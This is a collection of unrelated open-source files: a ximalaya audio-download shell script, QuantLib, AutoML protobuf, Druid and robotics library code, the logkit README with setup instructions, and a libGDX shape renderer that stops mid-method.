print(json.dumps(json.load(sys.stdin)[sys.argv[1]],ensure_ascii=False)) except KeyError as e: print('') EOF` echo `cat|python -c "$statement" "$1"` } fetch_track_by_id() { result=`curl -s "http://mobile.ximalaya.com/v1/track/baseInfo?device=iPhone&trackId=$1"|grep title` if [ -n "$result" ];then uid=`echo $result|decode_json uid|sed 's/\"//g'` title=`echo $result|decode_json title|sed 's/\"//g'` url64=`echo $result|decode_json playUrl64|sed 's/\"//g'|sed 's/\\\//g'` if [ -n "$url64" ];then title=`echo $title|sed 's/\.//g'|sed 's/\///g'` wget "$url64" -O "$dst_dir/$title.mp3" else error "Failed to fetch the track, may be a paid resource." fi else error "The trackId $1 does not exist." fi } # param: album_id page fetch_track_ids_by_page() { local album_id=$1 local page=$2 local content=`curl -s "http://180.153.255.6/mobile/v1/album/track/ts-1534855383505?albumId=$album_id&device=android&isAsc=true&isQueryInvitationBrand=true&pageId=$page&pageSize=$page_size&pre_page=0"` statement=`cat << EOF import json,sys items = json.loads(sys.argv[1])['data']['list'] for item in items: print(item['trackId']) EOF` echo `python -c "$statement" "$content"` } # parse url to get albumId and trackId url=`echo $1|sed -n '/^http/p'` if [ -z "$url" ];then error 'The url incorrect, please check it' exit -1 fi url=`echo $1|sed 's/\/$//p'` id1=`echo $url|awk -F/ '{print $NF}'` id2=`echo $url|awk -F/ '{print $(NF-1)}'` id1_is_digital=`echo $id1|sed 's/[0-9]//g'` id2_is_digital=`echo $id2|sed 's/[0-9]//g'` album_id='' track_id='' page=`echo $id1|sed -n '/^p/s/^p//p'` page_is_digital=`echo $page|sed 's/[0-9]//g'` page_size=30 if [ -z "$id1_is_digital" ];then if [ -z "$id2_is_digital" ];then track_id=$id1 album_id=$id2 else album_id=$id1 fi elif [ -z "$page_is_digital" ];then album_id=$id2 else error 'The url incorrect, please check it' exit -1 fi track_ids='' if [ -n "$track_id" ];then track_ids=$track_id elif [ -n "$page" ];then track_ids=`fetch_track_ids_by_page $album_id $page` else content=`curl -s http://180.153.255.6/mobile/v1/album/track/ts-1534855383505?albumId=$album_id&device=android&isAsc=true&isQueryInvitationBrand=true&pageId=1&pageSize=$page_size&pre_page=0` statement=`cat << EOF import json,sys print(json.loads(sys.argv[1])['data']['maxPageId']) EOF` page_count=`python -c "$statement" "$content"` for p in `seq 1 $page_count` do info "Parse page $p/$page_count ..." #fetch_track_ids_by_page $album_id $p track_ids="$track_ids `fetch_track_ids_by_page $album_id $p`" done fi count=`echo $track_ids|wc -w|sed 's/ //g'` i=1 for id in $track_ids do info "Fetch track $i/$count ..." fetch_track_by_id $id i=`expr $i + 1` done
{ "pile_set_name": "Github" }
# # title is self-explaining # G1,abc,b,c,d G2,f,g,h, if [G1] = "ABc" then [G2] = "g"; if [G1] > "a" then > "f";
{ "pile_set_name": "Github" }
/* -*- mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* Copyright (C) 2006 Mark Joshi This file is part of QuantLib, a free-software/open-source library for financial quantitative analysts and developers - http://quantlib.org/ QuantLib is free software: you can redistribute it and/or modify it under the terms of the QuantLib license. You should have received a copy of the license along with this program; if not, please email <[email protected]>. The license is also available online at <http://quantlib.org/license.shtml>. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the license for more details. */ #ifndef quantlib_brownian_generator_hpp #define quantlib_brownian_generator_hpp #include <ql/types.hpp> #include <ql/shared_ptr.hpp> #include <vector> namespace QuantLib { class BrownianGenerator { public: virtual ~BrownianGenerator() {} virtual Real nextStep(std::vector<Real>&) = 0; virtual Real nextPath() = 0; virtual Size numberOfFactors() const = 0; virtual Size numberOfSteps() const = 0; }; class BrownianGeneratorFactory { public: virtual ~BrownianGeneratorFactory() {} virtual ext::shared_ptr<BrownianGenerator> create(Size factors, Size steps) const = 0; }; } #endif
{ "pile_set_name": "Github" }
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/cloud/automl/v1beta1/io.proto require 'google/protobuf' require 'google/api/annotations_pb' Google::Protobuf::DescriptorPool.generated_pool.build do add_file("google/cloud/automl/v1beta1/io.proto", :syntax => :proto3) do add_message "google.cloud.automl.v1beta1.InputConfig" do map :params, :string, :string, 2 oneof :source do optional :gcs_source, :message, 1, "google.cloud.automl.v1beta1.GcsSource" optional :bigquery_source, :message, 3, "google.cloud.automl.v1beta1.BigQuerySource" end end add_message "google.cloud.automl.v1beta1.BatchPredictInputConfig" do oneof :source do optional :gcs_source, :message, 1, "google.cloud.automl.v1beta1.GcsSource" optional :bigquery_source, :message, 2, "google.cloud.automl.v1beta1.BigQuerySource" end end add_message "google.cloud.automl.v1beta1.DocumentInputConfig" do optional :gcs_source, :message, 1, "google.cloud.automl.v1beta1.GcsSource" end add_message "google.cloud.automl.v1beta1.OutputConfig" do oneof :destination do optional :gcs_destination, :message, 1, "google.cloud.automl.v1beta1.GcsDestination" optional :bigquery_destination, :message, 2, "google.cloud.automl.v1beta1.BigQueryDestination" end end add_message "google.cloud.automl.v1beta1.BatchPredictOutputConfig" do oneof :destination do optional :gcs_destination, :message, 1, "google.cloud.automl.v1beta1.GcsDestination" optional :bigquery_destination, :message, 2, "google.cloud.automl.v1beta1.BigQueryDestination" end end add_message "google.cloud.automl.v1beta1.ModelExportOutputConfig" do optional :model_format, :string, 4 map :params, :string, :string, 2 oneof :destination do optional :gcs_destination, :message, 1, "google.cloud.automl.v1beta1.GcsDestination" optional :gcr_destination, :message, 3, "google.cloud.automl.v1beta1.GcrDestination" end end add_message "google.cloud.automl.v1beta1.ExportEvaluatedExamplesOutputConfig" do oneof :destination do optional :bigquery_destination, :message, 2, "google.cloud.automl.v1beta1.BigQueryDestination" end end add_message "google.cloud.automl.v1beta1.GcsSource" do repeated :input_uris, :string, 1 end add_message "google.cloud.automl.v1beta1.BigQuerySource" do optional :input_uri, :string, 1 end add_message "google.cloud.automl.v1beta1.GcsDestination" do optional :output_uri_prefix, :string, 1 end add_message "google.cloud.automl.v1beta1.BigQueryDestination" do optional :output_uri, :string, 1 end add_message "google.cloud.automl.v1beta1.GcrDestination" do optional :output_uri, :string, 1 end end end module Google module Cloud module AutoML module V1beta1 InputConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.InputConfig").msgclass BatchPredictInputConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.BatchPredictInputConfig").msgclass DocumentInputConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.DocumentInputConfig").msgclass OutputConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.OutputConfig").msgclass BatchPredictOutputConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.BatchPredictOutputConfig").msgclass ModelExportOutputConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.ModelExportOutputConfig").msgclass ExportEvaluatedExamplesOutputConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.ExportEvaluatedExamplesOutputConfig").msgclass GcsSource = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.GcsSource").msgclass BigQuerySource = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.BigQuerySource").msgclass GcsDestination = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.GcsDestination").msgclass BigQueryDestination = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.BigQueryDestination").msgclass GcrDestination = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.automl.v1beta1.GcrDestination").msgclass end end end end
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.druid.java.util.metrics; import com.google.common.collect.ImmutableMap; import org.apache.druid.java.util.emitter.core.ParametrizedUriEmitter; import org.apache.druid.java.util.emitter.service.ServiceEmitter; import java.net.URI; import java.util.HashMap; import java.util.Map; public class ParametrizedUriEmitterMonitor extends FeedDefiningMonitor { private final ParametrizedUriEmitter parametrizedUriEmitter; private final Map<URI, HttpPostEmitterMonitor> monitors = new HashMap<>(); public ParametrizedUriEmitterMonitor(String feed, ParametrizedUriEmitter parametrizedUriEmitter) { super(feed); this.parametrizedUriEmitter = parametrizedUriEmitter; } private void updateMonitors() { parametrizedUriEmitter.forEachEmitter( (uri, emitter) -> { monitors.computeIfAbsent( uri, u -> { HttpPostEmitterMonitor monitor = new HttpPostEmitterMonitor( feed, emitter, ImmutableMap.of("uri", uri.toString()) ); monitor.start(); return monitor; } ); } ); } @Override public void stop() { monitors.values().forEach(AbstractMonitor::stop); super.stop(); } @Override public boolean doMonitor(ServiceEmitter emitter) { updateMonitors(); monitors.values().forEach(m -> m.doMonitor(emitter)); return true; } }
{ "pile_set_name": "Github" }
import socket def pickup_port(): s = socket.socket() s.bind(('127.0.0.1', 0)) port = s.getsockname()[-1] s.close() return port
{ "pile_set_name": "Github" }
# logkit-community(社区版) [![Build Status](https://api.travis-ci.org/qiniu/logkit.svg)](http://travis-ci.org/qiniu/logkit) [![Go Report Card](https://goreportcard.com/badge/github.com/qiniu/logkit)](https://goreportcard.com/report/github.com/qiniu/logkit) [![codecov](https://codecov.io/gh/qiniu/logkit/branch/master/graph/badge.svg)](https://codecov.io/gh/qiniu/logkit/branch/master) [![GoDoc](https://godoc.org/github.com/qiniu/logkit?status.svg)](https://godoc.org/github.com/qiniu/logkit) ![logkit LOGO](https://raw.githubusercontent.com/qiniu/logkit/master/resources/logo.png) ## 在社区版的基础上,我们正式推出了体验更好,功能更全的产品[logkit-pro专业版](https://logkit-pro.qiniu.com/),欢迎大家体验 [logkit-pro(专业版)](https://developer.qiniu.com/insight/manual/4738/logkit-pro-induction) ## [logkit (社区版)和 logkit-pro (企业版)的对比说明](https://developer.qiniu.com/insight/manual/5156/logkit-community-and-logkit-pro-enterprise-edition-contrast) ## 简介 logkit-community(社区版)是[七牛智能日志管理平台](https://www.qiniu.com/products/insight)开发的一个配套的日志收集工具,支持海量的数据源,方便地发送到[七牛智能日志管理平台](https://www.qiniu.com/products/insight)以及其他常见的数据存储服务进行分析,同时也,除了基本的数据发送功能,logkit还有容错、并发、监控、删除等功能。 ### logkit-community(社区版) 详细的文档可以参见[WIKI](https://github.com/qiniu/logkit/wiki)页面 ## 优势 * GO 语言编写,性能优良,资源消耗低,跨平台支持。 * Web 支持,提供 页面 对数据收集、解析、发送过程可视化 * 插件式架构,扩展性强,使用灵活,易于复用。 * 定制化能力强,可以仅使用部分 logkit 包,以此定制专属收集工具。 * 配置简单,易于上手,可通过 页面 进行操作管理。 * 原生中文支持,没有汉化烦恼。 * 功能全面,涵盖了包括 grok 解析、metric 收集、字段变化 (transform) 在内的多种开源软件特点。 * 生态全面,数据发送到七牛的 Pandora 大数据平台支持包括时序数据库、日志检索以及压缩永久存储等多种数据落地方案。 * 数据收集安全稳定,拥有磁盘队列、内存队列、错误重试、压缩传输、限速限流等多种机制,数据发送不重不漏。 * 集群化,可以通过一个logkit 作为master 在 web 管理众多logkit,对整体集群进行管理。 ## 支持的数据源 * [File](https://github.com/qiniu/logkit/wiki/File-Reader): 读取文件中的日志数据,包括csv格式的文件,kafka-rest日志文件,nginx日志文件等,并支持以grok的方式解析日志。 * [Elasticsearch](https://github.com/qiniu/logkit/wiki/ElasticSearch-Reader): 读取ElasticSearch中的数据。 * [MongoDB](https://github.com/qiniu/logkit/wiki/MongoDB-Reader): 读取MongoDB中的数据。 * [MySQL](https://github.com/qiniu/logkit/wiki/MySQL-Reader): 读取MySQL中的数据。 * [MicroSoft SQL Server](https://github.com/qiniu/logkit/wiki/MicroSoft-SQL-Server-Reader): 读取Microsoft SQL Server中的数据。 * [Postgre SQL](https://github.com/qiniu/logkit/wiki/PostgreSQL-Reader): 读取 PostgreSQL 中的数据。 * [Kafka](https://github.com/qiniu/logkit/wiki/Kafka-Reader): 读取Kafka中的数据。 * [Redis](https://github.com/qiniu/logkit/wiki/Redis-Reader): 读取Redis中的数据。 * [Socket](https://github.com/qiniu/logkit/wiki/Socket-Reader): 读取tcp\udp\unixsocket协议中的数据。 * [Http](https://github.com/qiniu/logkit/wiki/Http-Reader): 作为 http 服务端,接受 POST 请求发送过来的数据。 * [Script](https://github.com/qiniu/logkit/wiki/Script-Reader): 支持执行脚本,并获得执行结果中的数据。 * [Snmp](https://github.com/qiniu/logkit/wiki/Snmp-Reader): 主动抓取 Snmp 服务中的数据。 ## 工作方式 logkit-community(社区版)本身支持多种数据源,并且可以同时发送多个数据源的数据到Pandora,每个数据源对应一个逻辑上的runner,一个runner负责一个数据源的数据推送,工作原理如下图所示 ![logkit 工作原理图](https://raw.githubusercontent.com/qiniu/logkit/master/resources/logkit.png) ## 参与项目(contributing) 我们非常欢迎您参与到项目中来,您可以通过以下途径参与到项目中来: * 修复或者[报告bug](https://github.com/qiniu/logkit/issues/new) * [提issue](https://github.com/qiniu/logkit/issues/new)改善我们的[wiki文档](https://github.com/qiniu/logkit/wiki) * [review 代码](https://github.com/qiniu/logkit/pulls)或[提出功能需求](https://github.com/qiniu/logkit/issues/new) * 贡献代码(可以贡献的各类插件模块包括[reader](https://github.com/qiniu/logkit/wiki/Readers)、[parser](https://github.com/qiniu/logkit/wiki/Parsers)、[sender](https://github.com/qiniu/logkit/wiki/Senders)以及[transformer](https://github.com/qiniu/logkit/wiki/Transformers)) ## 下载 **最新稳定版**:请移步至[Download页面](https://github.com/qiniu/logkit/wiki/Download) **历史版本**:请移步至[Releases](https://github.com/qiniu/logkit/releases) **体验版**:master 分支每天早上5点会定时构建最新的logkit体验版(仅限Linux 64位以及Docker),需要使用的用户可以下载(注意,体验版不含前端的构建更新)。 * [Linux 64位每日版本下载](https://pandora-dl.qiniu.com/nightly/logkit_nightly.tar.gz) * Docker image nightly: `docker pull wonderflow/logkit:nightly` ## 安装与使用 ### 1. 下载&解压logkit-community工具 * Linux 版本 ``` sh export LOGKIT_VERSION=<version number> wget https://pandora-dl.qiniu.com/logkit_${LOGKIT_VERSION}.tar.gz && tar xvf logkit_${LOGKIT_VERSION}.tar.gz && rm logkit_${LOGKIT_VERSION}.tar.gz && cd _package_linux64/ ``` * MacOS 版本 ``` sh export LOGKIT_VERSION=<version number> wget https://pandora-dl.qiniu.com/logkit_mac_${LOGKIT_VERSION}.tar.gz && tar xvf logkit_mac_${LOGKIT_VERSION}.tar.gz && rm logkit_mac_${LOGKIT_VERSION}.tar.gz && cd _package_mac/ ``` * Windows 版本 请下载 `https://pandora-dl.qiniu.com/logkit_windows_<LOGKIT_VERSION>.zip` 并解压缩,进入目录 ### 2. 修改logkit-community基本配置 logkit.conf是logkit-community工具基础配置文件,主要用于指定logkit-community运行时需要的资源和各个runner配置文件的具体路径。 打开 `logkit.conf`, 典型的配置如下: ``` json { "max_procs": 8, "debug_level": 1, "clean_self_log":true, "bind_host":"localhost:3000", "static_root_path":"./public", "confs_path": ["confs*"] } ``` 初步使用,您只需要关注并根据实际需要修改其中三个选项: 1. `bind_host` logkit页面绑定的端口号,启动后可以根据这个页面配置logkit。 1. `static_root_path` logkit页面的静态资源路径,**强烈建议写成绝对路径** 注意:老版本的移动到了 "public-old"文件夹。 1. `confs_path` 除了通过页面配置添加以外,logkit还支持直接监控文件夹添加runner。(如果您只通过页面添加logkit runner,那么无需修改此配置) 列表中的每一项都是一个runner的配置文件夹,如果每一项中文件夹下配置发生增加、减少或者变更,logkit会相应的增加、减少或者变更runner,配置文件夹中的每个配置文件都代表了一个runner。该指定了一个runner的配置文件夹,这个配置文件夹下面每个以.conf结尾的文件就代表了一个运行的runner,也就代表了一个logkit正在运行的推送数据的线程。 ### 3. 启动logkit-community工具 ``` sh ./logkit -f logkit.conf ``` ### 4. 通过浏览器打开logkit-community配置页面 浏览器访问的地址就是您在第2步中填写的 `bind_host` 选项地址 * 首页查看正在运行的logkit状态,或者添加新的logkit Runner ![查看并添加](https://raw.githubusercontent.com/qiniu/logkit/master/resources/logkitnewconfig1.png) * 根据页面配置数据源、配置解析方式、配置发送方式 ![配置数据源](https://raw.githubusercontent.com/qiniu/logkit/master/resources/logkitnewconfig2.png) * 在配置解析方式的页面您还可以根据配置尝试解析您的样例数据 ![尝试解析](https://raw.githubusercontent.com/qiniu/logkit/master/resources/logkitnewconfig3.png) * 除了解析以外,您可以针对解析出来的某个字段内容做数据变换(Transform),可以像管道一样多个拼接。 * 填写必要信息以配置数据发送 ![发送](https://raw.githubusercontent.com/qiniu/logkit/master/resources/logkitnewconfig5.png) * 最后在`确认并添加`页面点击生成配置文件,再点击添加Runner即可生效 ![添加runner](https://raw.githubusercontent.com/qiniu/logkit/master/resources/logkitnewconfig4.png) ## 升级 ### 后端 方法一. 下载并解压logkit包后,将已经在运行的logkit二进制包替换为解压后的logkit二进制包,重启logkit。 方法二. 停止logkit,执行命令 `logkit -upgrade`,启动logkit。 ### 前端 停止运行 logkit,下载并解压 logkit 包后,将 logkit 指定的 public 文件夹替换为解压后的 logkit 二进制包中的 public 文件夹,重新启动 logkit。 ## 贡献前端代码 参见前端相关README文件:[logkitweb/README.md](https://github.com/qiniu/logkit/blob/master/logkitweb/README.md) ## 从源码安装与启动 启动服务的命令中可以指定服务的启动配置 ``` sh go build -o logkit logkit.go ./logkit -f logkit.conf ``` ## 使用logkit的docker镜像启动 ``` sh docker pull wonderflow/logkit:<version> docker run -d -p 3000:3000 -v /local/logkit/dataconf:/app/confs -v /local/log/path:/logs/path logkit:<version> ``` 镜像中,logkit读取`/app/confs`下的配置文件,所以可以通过挂载目录的形式,将本地的logkit配置目录`/local/logkit/dataconf`挂载到镜像里面。 需要注意的是,镜像中的logkit收集 `/logs`目录下的日志,需要把本地的日志目录也挂载到镜像里面去才能启动,比如本地的日志目录为`/local/log/path`, 挂载到镜像中的`/logs/path`目录,那么`/local/logkit/dataconf`目录下的配置文件填写的日志路径必须是`/logs/path`。 ## 在 Kubernetes 上部署logkit 获取部署到Kubernetes的配置文件。 ``` sh curl -L -O https://raw.githubusercontent.com/qiniu/logkit/master/deploy/logkit_on_k8s.yaml ``` 默认情况下,我们的配置文件会使用 `kube-system` 这个 Kubernetes 的 namespace ,所有的部署仅针对该 namespace 生效。如果您想要使用别的 namespace ,只需要修改配置文件的 namespace 部分,将之改为您的 namespace 名称。 运行这份默认的配置文件之前,只需要修改2个基本参数: ``` yml - name: QINIU_ACCESS_KEY value: change_me_to_your_qiniu_access_key - name: QINIU_SECRET_KEY value: change_me_to_your_qiniu_secret_key ``` 将 `change_me_to_your_qiniu_access_key` 改为您七牛账号的 AK(access_key) ,将 `change_me_to_your_qiniu_secret_key` 改为您七牛账号的SK(secret_key)。 执行 Kubernetes 命令,启动: ``` sh kubectl create -f logkit_on_k8s.yaml ``` 然后日志就会源源不断流向您的pandora账号啦! enjoy it!
{ "pile_set_name": "Github" }
/** * @file deprecated.c */ #include <stdio.h> #include <rc/start_stop.h> #include <rc/deprecated.h> #include <rc/button.h> #include <rc/motor.h> #include <rc/encoder_eqep.h> int rc_initialize(void) { // initialize pause and mode buttons if(rc_button_init(RC_BTN_PIN_PAUSE, RC_BTN_POLARITY_NORM_HIGH, RC_BTN_DEBOUNCE_DEFAULT_US)){ fprintf(stderr,"ERROR in rc_initialize failed to init buttons\n"); return -1; } if(rc_button_init(RC_BTN_PIN_MODE, RC_BTN_POLARITY_NORM_HIGH, RC_BTN_DEBOUNCE_DEFAULT_US)){ fprintf(stderr,"ERROR in rc_initialize failed to init buttons\n"); return -1; } if(rc_encoder_eqep_init()){ fprintf(stderr,"ERROR: failed to run rc_encoder_eqep_init\n"); return -1; } if(rc_motor_init()){ fprintf(stderr,"ERROR: failed to initialize motors\n"); return -1; } // start signal handler so we can exit cleanly if(rc_enable_signal_handler()==-1){ fprintf(stderr,"ERROR: failed to start signal handler\n"); return -1; } return 0; } int rc_cleanup(void) { rc_button_cleanup(); rc_encoder_eqep_cleanup(); rc_motor_cleanup(); return 0; } void (*pause_pressed_func)(void) = NULL; void (*pause_released_func)(void) = NULL; void (*mode_pressed_func)(void) = NULL; void (*mode_released_func)(void) = NULL; int rc_set_pause_pressed_func(void (*func)(void)){ if(func==NULL){ printf("ERROR: trying to assign NULL pointer to paused_pressed_func\n"); return -1; } pause_pressed_func = func; return rc_button_set_callbacks(RC_BTN_PIN_PAUSE, pause_pressed_func, pause_released_func); } int rc_set_pause_released_func(void (*func)(void)){ if(func==NULL){ printf("ERROR: trying to assign NULL pointer to paused_released_func\n"); return -1; } pause_released_func = func; return rc_button_set_callbacks(RC_BTN_PIN_PAUSE, pause_pressed_func, pause_released_func); } int rc_set_mode_pressed_func(void (*func)(void)){ if(func==NULL){ printf("ERROR: trying to assign NULL pointer to mode_pressed_func\n"); return -1; } mode_pressed_func = func; return rc_button_set_callbacks(RC_BTN_PIN_MODE, mode_pressed_func, mode_released_func); } int rc_set_mode_released_func(void (*func)(void)){ if(func==NULL){ printf("ERROR: trying to assign NULL pointer to mode_released_func\n"); return -1; } mode_released_func = func; return rc_button_set_callbacks(RC_BTN_PIN_MODE, mode_pressed_func, mode_released_func); } rc_button_state_t rc_get_pause_button(void) { int ret = rc_button_get_state(RC_BTN_PIN_PAUSE); if(ret == RC_BTN_STATE_PRESSED) return PRESSED; if(ret == RC_BTN_STATE_RELEASED) return RELEASED; return -1; } rc_button_state_t rc_get_mode_button(void) { int ret = rc_button_get_state(RC_BTN_PIN_MODE); if(ret == RC_BTN_STATE_PRESSED) return PRESSED; if(ret == RC_BTN_STATE_RELEASED) return RELEASED; return -1; } int rc_get_encoder_pos(int ch) { return rc_encoder_eqep_read(ch); } int rc_set_encoder_pos(int ch, int value) { return rc_encoder_eqep_write(ch, value); } int rc_enable_motors(void) { return rc_motor_standby(0); } int rc_disable_motors(void) { return rc_motor_standby(1); } int rc_set_motor(int motor, float duty) { return rc_motor_set(motor,duty); } int rc_set_motor_all(float duty) { return rc_motor_set(0,duty); } int rc_set_motor_free_spin(int motor) { return rc_motor_free_spin(motor); } int rc_set_motor_free_spin_all(void) { return rc_motor_free_spin(0); } int rc_set_motor_brake(int motor) { return rc_motor_brake(motor); } int rc_set_motor_brake_all(void) { return rc_motor_brake(0); }
{ "pile_set_name": "Github" }
package com.mygdx.game.utilities; // Copy of ShapeRenderer with added methods for drawing two-colored 3D // lines and 3D triangles. ShapeRenderer cannot be extended easily. /******************************************************************************* * Copyright 2011 See AUTHORS file. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ******************************************************************************/ import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.Camera; import com.badlogic.gdx.graphics.Color; import com.badlogic.gdx.graphics.GL20; import com.badlogic.gdx.graphics.glutils.ImmediateModeRenderer; import com.badlogic.gdx.graphics.glutils.ImmediateModeRenderer20; import com.badlogic.gdx.graphics.glutils.ShaderProgram; import com.badlogic.gdx.math.MathUtils; import com.badlogic.gdx.math.Matrix4; import com.badlogic.gdx.math.Vector2; import com.badlogic.gdx.math.Vector3; import com.badlogic.gdx.utils.Disposable; /** Renders points, lines, shape outlines and filled shapes. * <p> * By default a 2D orthographic projection with the origin in the lower left corner is used and units are specified in screen * pixels. This can be changed by configuring the projection matrix, usually using the {@link Camera#combined} matrix. If the * screen resolution changes, the projection matrix may need to be updated. * <p> * Shapes are rendered in batches to increase performance. Standard usage pattern looks as follows: * * <pre> * {@code * camera.update(); * shapeRenderer.setProjectionMatrix(camera.combined); * * shapeRenderer.begin(ShapeType.Line); * shapeRenderer.setColor(1, 1, 0, 1); * shapeRenderer.line(x, y, x2, y2); * shapeRenderer.rect(x, y, width, height); * shapeRenderer.circle(x, y, radius); * shapeRenderer.end(); * * shapeRenderer.begin(ShapeType.Filled); * shapeRenderer.setColor(0, 1, 0, 1); * shapeRenderer.rect(x, y, width, height); * shapeRenderer.circle(x, y, radius); * shapeRenderer.end(); * } * </pre> * * ShapeRenderer has a second matrix called the transformation matrix which is used to rotate, scale and translate shapes in a * more flexible manner. The following example shows how to rotate a rectangle around its center using the z-axis as the rotation * axis and placing it's center at (20, 12, 2): * * <pre> * shapeRenderer.begin(ShapeType.Line); * shapeRenderer.identity(); * shapeRenderer.translate(20, 12, 2); * shapeRenderer.rotate(0, 0, 1, 90); * shapeRenderer.rect(-width / 2, -height / 2, width, height); * shapeRenderer.end(); * </pre> * * Matrix operations all use postmultiplication and work just like glTranslate, glScale and glRotate. The last transformation * specified will be the first that is applied to a shape (rotate then translate in the above example). * <p> * The projection and transformation matrices are a state of the ShapeRenderer, just like the color, and will be applied to all * shapes until they are changed. * @author mzechner * @author stbachmann * @author Nathan Sweet */ public class MyShapeRenderer implements Disposable { /** Shape types to be used with {@link #begin(ShapeType)}. * @author mzechner, stbachmann */ public enum ShapeType { Point(GL20.GL_POINTS), Line(GL20.GL_LINES), Filled(GL20.GL_TRIANGLES); private final int glType; ShapeType(int glType) { this.glType = glType; } public int getGlType() { return glType; } } private final ImmediateModeRenderer renderer; private final Matrix4 projectionMatrix = new Matrix4(); private final Matrix4 transformMatrix = new Matrix4(); private final Matrix4 combinedMatrix = new Matrix4(); private final Vector2 tmp = new Vector2(); private final Color color = new Color(1, 1, 1, 1); private boolean matrixDirty = false; private ShapeType shapeType; private boolean autoShapeType; private float defaultRectLineWidth = 0.75f; public MyShapeRenderer() { this(5000); } public MyShapeRenderer(int maxVertices) { this(maxVertices, null); } public MyShapeRenderer(int maxVertices, ShaderProgram defaultShader) { if (defaultShader == null) { renderer = new ImmediateModeRenderer20(maxVertices, false, true, 0); } else { renderer = new ImmediateModeRenderer20(maxVertices, false, true, 0, defaultShader); } projectionMatrix.setToOrtho2D(0, 0, Gdx.graphics.getWidth(), Gdx.graphics.getHeight()); matrixDirty = true; } /** Sets the color to be used by the next shapes drawn. */ public void setColor(float r, float g, float b, float a) { this.color.set(r, g, b, a); } public Color getColor() { return color; } /** Sets the color to be used by the next shapes drawn. */ public void setColor(Color color) { this.color.set(color); } public void updateMatrices() { matrixDirty = true; } /** If the matrix is modified, {@link #updateMatrices()} must be called. */ public Matrix4 getProjectionMatrix() { return projectionMatrix; } /** Sets the projection matrix to be used for rendering. Usually this will be set to {@link Camera#combined}. * @param matrix */ public void setProjectionMatrix(Matrix4 matrix) { projectionMatrix.set(matrix); matrixDirty = true; } /** If the matrix is modified, {@link #updateMatrices()} must be called. */ public Matrix4 getTransformMatrix() { return transformMatrix; } public void setTransformMatrix(Matrix4 matrix) { transformMatrix.set(matrix); matrixDirty = true; } /** Sets the transformation matrix to identity. */ public void identity() { transformMatrix.idt(); matrixDirty = true; } /** Multiplies the current transformation matrix by a translation matrix. */ public void translate(float x, float y, float z) { transformMatrix.translate(x, y, z); matrixDirty = true; } /** Multiplies the current transformation matrix by a rotation matrix. */ public void rotate(float axisX, float axisY, float axisZ, float degrees) { transformMatrix.rotate(axisX, axisY, axisZ, degrees); matrixDirty = true; } /** Multiplies the current transformation matrix by a scale matrix. */ public void scale(float scaleX, float scaleY, float scaleZ) { transformMatrix.scale(scaleX, scaleY, scaleZ); matrixDirty = true; } /** If true, when drawing a shape cannot be performed with the current shape type, the batch is flushed and the shape type is * changed automatically. This can increase the number of batch flushes if care is not taken to draw the same type of shapes * together. Default is false. */ public void setAutoShapeType(boolean autoShapeType) { this.autoShapeType = autoShapeType; } /** Begins a new batch without specifying a shape type. * @throws IllegalStateException if {@link #autoShapeType} is false. */ public void begin() { if (!autoShapeType) throw new IllegalStateException("autoShapeType must be true to use this method."); begin(ShapeType.Line); } /** Starts a new batch of shapes. Shapes drawn within the batch will attempt to use the type specified. The call to this method * must be paired with a call to {@link #end()}. * @see #setAutoShapeType(boolean) */ public void begin(ShapeType type) { if (shapeType != null) throw new IllegalStateException("Call end() before beginning a new shape batch."); shapeType = type; if (matrixDirty) { combinedMatrix.set(projectionMatrix); Matrix4.mul(combinedMatrix.val, transformMatrix.val); matrixDirty = false; } renderer.begin(combinedMatrix, shapeType.getGlType()); } public void set(ShapeType type) { if (shapeType == type) return; if (shapeType == null) throw new IllegalStateException("begin must be called first."); if (!autoShapeType) throw new IllegalStateException("autoShapeType must be enabled."); end(); begin(type); } /** Draws a point using {@link ShapeType#Point}, {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void point(float x, float y, float z) { if (shapeType == ShapeType.Line) { float size = defaultRectLineWidth * 0.5f; line(x - size, y - size, z, x + size, y + size, z); return; } else if (shapeType == ShapeType.Filled) { float size = defaultRectLineWidth * 0.5f; box(x - size, y - size, z - size, defaultRectLineWidth, defaultRectLineWidth, defaultRectLineWidth); return; } check(ShapeType.Point, null, 1); renderer.color(color); renderer.vertex(x, y, z); } /** Draws a line using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public final void line(float x, float y, float z, float x2, float y2, 